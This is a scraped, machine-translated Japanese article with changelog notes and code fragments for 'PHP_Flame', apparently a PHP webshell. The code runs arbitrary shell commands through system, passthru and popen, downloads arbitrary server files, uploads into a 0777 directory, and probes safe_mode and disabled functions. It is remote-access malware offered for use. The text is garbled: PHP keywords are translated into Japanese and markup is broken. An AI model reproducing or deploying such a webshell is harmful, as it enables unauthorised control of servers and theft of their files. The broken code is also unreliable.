ホームページ  >  記事  >  バックエンド開発  >  PHP_Flame(Version:Progress)_PHPチュートリアルのオリジナルコード

PHP_Flame(Version:Progress)_PHPチュートリアルのオリジナルコード

WBOY
WBOYオリジナル
2016-07-21 16:09:24903ブラウズ


私 PHP_Flame に関するいくつかの情報 (バージョン: 進捗):



*ファイルをダウンロードできないバグを修正しました
*前のレベルに戻れないバグを修正しました
*コード編集のエラーのバグを修正しました
.....

*PHPINFOの機能を追加
*複数ファイルのダウンロード機能を追加
*システムコマンドを実行する機能を追加
*コード閲覧機能を追加
*サーバーセキュリティ検出機能を追加
..

※美化作品も多数あります。 。 。 。 。 。 関連情報:


1.上位レベルに戻れないバグコードを修正しました:
echo "上位レベルに戻る"; 。ファイルをダウンロードできない関連コードを修正しました:
case "download":
if (!@is_file($_GET['file_name']))
echo "ダウンロードしたいファイルが存在しません"
$filename = Basename ($ _GET['file_name']);
$filename_info =explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1]; x- '.$fileext);
header('Content-Disposition:attachment; filename='.$filename);
header('Content-Description:PHP3 Generated Data');
readfile($_GET['file_name']) );
休憩


3.コード表示機能を追加
","//textarea>",$tem); 。 。 。 。
$tem= str_replace("//textarea>","/textarea>",$tem);


5.サーバーセキュリティ検出機能を追加しました:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions") ;
if ($dis_func=="")
{
echo("値なし")
else
$ dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);


6.実行システムのコマンド部分の代コード:
if ($actionaa=="cmd") { ?>
<ボディ bgcolor="#6595d6">
<フォーム名="form1" メソッド="post" アクション="?actionaa=cmd">
<名前="メソッド" を選択>
<オプション値="システム" >システム
<オプション値="パススルー" >パススルー












if (!$method) { $method="システム"; }
if (!$cmd) {
echo "* JSW の PHP FLAME
";
echo "* 著者: JSW
";
echo "*safe_mode:";if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("値なし");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}

echo "
* 次に、関数を選択してコマンドを入力してください....";
}
echo "

"; <br>if ($method=="システム") { <br>システム("$cmd 2>>&1"); <br>} <br>if ($method=="パススルー") { <br>パススルー("$cmd 2>>&1"); <br>} <br>if ($method=="opendir") { <br>$h=opendir($cmd); <br>while($file=readdir($h)) { <br>echo "$filen"; <br>} <br>} <br>if ($method=="show_source") { <br>if (show_source($cmd)) { <br>//echo "<pre class="brush:php;toolbar:false">"; <br>//エコー show_source($file); <br>//エコー "
";
} else {
echo "<script>alert("ファイルを読み取れません: $file using: show_source"); </script>";
}

}
if ($method=="popen") {
$pp = Popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
エコー $read;
pclose($pp);
}
echo "";
終了;
}
?>

7。追加文件上ダウンロードの代:
if($dir=="")
$dir="./";
?>

if($tools==upload)
{
for($i=1;$i{
$temp1="userfile".$i;
$temp2="ユーザーファイル".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传
";
}
else
echo $source_name."请重新上传!
";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传
";
}
}
}//end for
echo"


JSW の PHP FLAME



;
"t" method="get" action="?">
1.指定上传目录(默认為本程序目录)
< ;input type="hidden" name="tools" value="upload">
input type="submit" value="确定" ="t">













";
exit;}
?>


。。。。 、完整代: http://jsw.china12e.com/jswsoft/show.php



http://www.bkjia.com/PHPjc/314542.html

www.bkjia.com

本当
http://www.bkjia.com/PHPjc/314542.html

技術記事 IPHP_Flame (バージョン: Progress ) のいくつかの情報: *修正了無法下載文件のバグ *修正了無法上级返還のバグ *修正了代码编辑出现错误のバグ ...... *增追加PHPI...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

  • 2. 必要な上送信数 (建託最大値 20)



  • 3. 全文件都覆盖上传: 有無





  • のファイルは次の場所に転送されます: $dir

    戻りPHP_Flame
    文例1: